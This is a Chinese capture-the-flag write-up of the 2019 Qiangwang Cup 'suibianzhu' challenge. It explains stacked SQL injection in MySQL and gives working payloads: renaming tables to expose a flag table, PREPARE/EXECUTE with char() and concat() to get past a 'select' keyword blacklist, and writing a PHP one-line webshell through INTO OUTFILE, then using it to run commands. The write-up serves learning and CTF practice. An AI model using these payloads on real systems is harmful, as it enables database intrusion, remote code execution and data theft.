首页 > 其他分享 >[2019强网杯]随便注

[2019强网杯]随便注

时间:2023-01-08 23:34:30浏览次数:46  
标签:语句 堆叠 SQL 随便 强网杯 2019 words sql concat

[2019强网杯]随便注

考点:1、堆叠注入 2、sql预处理语句

之前做过的一道题,再次遇到发现还是有很多需要学习的地方,也没有记录过堆叠注入的题,所以就想着记一下这道题的一些知识点。

堆叠注入原理

sql中,分号;是用来表示一条sql语句的结束。 所以在;后再接一个sql语句将会一起执行,从而造就了堆叠注入。这里需要注意的是union injection联合注入和堆叠注入是有很大区别的,联合注入只是将两条语句合并在了一起进行执行,所以执行的语句类型是非常有限的,但是堆叠注入可以执行任意语句,所以堆叠注入更具有危险性。

分析题目

进入题目后,我们很容易想到是一个sql注入的题,所以我们就进行常规的验证。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

返回了过滤掉的命令,过滤掉了select很是难办,我们只能尝试堆叠注入,

1';show databases#

成功执行并返回了正确的内容

image-20220106154523191

看了大佬们的WP,看到了三种解法,接下来我们来一个一个看

修改当前查询表

先看一下当前查询库中有的表show tables,也就是1';show tables#

image-20220106154918941

继续查询表中的字段

show columns from `words`

这里需要非常注意的是:words使用的是反勾号,而不是单引号

linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;

反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `id` = 'abc' ;

但是这里好像也可以什么都不用,直接show columns from words也是可以的,但是另一个表1919810931114514必须要加反勾号

好了,经过查询我们得知如下信息

table:
	words
columns:
	"id":"int(10)"
	"data":"varchar(20)"
table:
	1919810931114514
columns:
	"flag":"varchar(100)"

堆叠注入的好处就是可以同时执行好多个句子,后台的sql语句查询的是words表,我们可以将表明进行更换,再通过;or 1=1#就可以获得flag

所以我们构造以下的payload

1';rename table `words` to `words2`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100)#

使用预处理语句

sql有一种预处理语句,使用方式为:

prepare name from '[my sql sequece]';   //预定义SQL语句
execute name;  //执行预定义SQL语句
(deallocate || drop) prepare name;  //删除预定义SQL语句

而且我们还可以使用set进行定义变量然后达到绕过黑名单的效果

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

这里我们既可以使用char()方法来拼接字符串,也可以直接利用concat()方法直接拼接

char()根据ASCII表返回给定整数值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'

contact()函数用于将多个字符串连接成一个字符串
contact (str1,str2,…) 
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'

使用char()方法

1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#

直接只用concat()

1';PREPARE jwt from concat('sel' , 'ect', ' * from `1919810931114514` ');EXECUTE jwt;#

使用set定义变量

1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#

写入木马Getshell

这个方法简直太强了通过查询发现用户是root

1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;

再通过命令写入php一句话木马

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

然后直接通过访问1.php就可以执行任意命令了

/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

这个方法简直是太强了,大佬太牛了!

标签:语句,堆叠,SQL,随便,强网杯,2019,words,sql,concat
From: https://www.cnblogs.com/seizer/p/17035744.html

相关文章

  • [强网杯 2019]Upload
    [强网杯2019]Upload考点:1、文件上传 2、php反序列化攻击进到页面里,存在注册功能,所以就不尝试先不尝试sql注入,先注册一个账号登陆进去进去之后有一个上传文件功能,尝试上......
  • [CISCN2019 华东南赛区]Double Secret
    [CISCN2019华东南赛区]DoubleSecret考点:1、RC4加密 2、FlaskのSSTI进去一脸懵逼,常规流程走一套啥也没发现然后先是看到了毫无用处的robots.txt,dirsearch扫了一遍也没......
  • [HarekazeCTF2019]encode_and_encode
    [HarekazeCTF2019]encode_and_encode考点:json_decode的unicode编码绕过进入题目后,很容易就可以看到源码query.php<?phperror_reporting(0);if(isset($_GET['source'......
  • [NCTF2019]SQLi
    [NCTF2019]SQLi考点:sqlbypass一道sql题,非常友好的给出了sqlquery,但想必也不简单sqlquery:select*fromuserswhereusername='1'andpasswd='1'这中语句非常典......
  • [SUCTF 2019]EasyWeb
    [SUCTF2019]EasyWeb考点:1、文件上传bypass 2、.htaccess的利用开局源代码<?phpfunctionget_the_flag(){//webadminwillremoveyouruploadfileevery20m......
  • 【题解】P5666 [CSP-S2019] 树的重心
    感觉对重心的理解更直观了一点。题意求一棵树上删去每一条边后两侧子树重心的编号和。\(n\leq3\times10^5\)思路神奇的清真数论。首先这里有一步很妙的操作:把整......
  • P8683 [蓝桥杯 2019 省 B] 后缀表达式
    题目描述给定 NN 个加号、 MM 个减号以及 N+M+1N+M+1 个整数 A_1,A_2,\cdots,A_{N+M+1}A1​,A2​,⋯,AN+M+1​,小明想知道在所有由这 NN 个加号、 MM 个减号以......
  • 【NOI2019】序列 题解(贪心模拟费用流)
    (感觉是有史以来自己代码最好看的一次贪心模拟费用流。LG传送门Solution1经过一番思考,不难发现我们可以根据题面建图跑费用流。具体见下图:(从@cmd大佬那里薅来的。)然......
  • tomcat远程代码执行漏洞(CVE-2019-0232)
    漏洞原理漏洞相关的代码在tomcat\java\org\apache\catalina\servlets\CGIServlet.java中,CGIServlet提供了一个cgi的调用接口,在启用enableCmdLineArguments参数时,会根......
  • BUUCTF | [[GXYCTF2019]BabyUpload
    知识点文件类型绕过......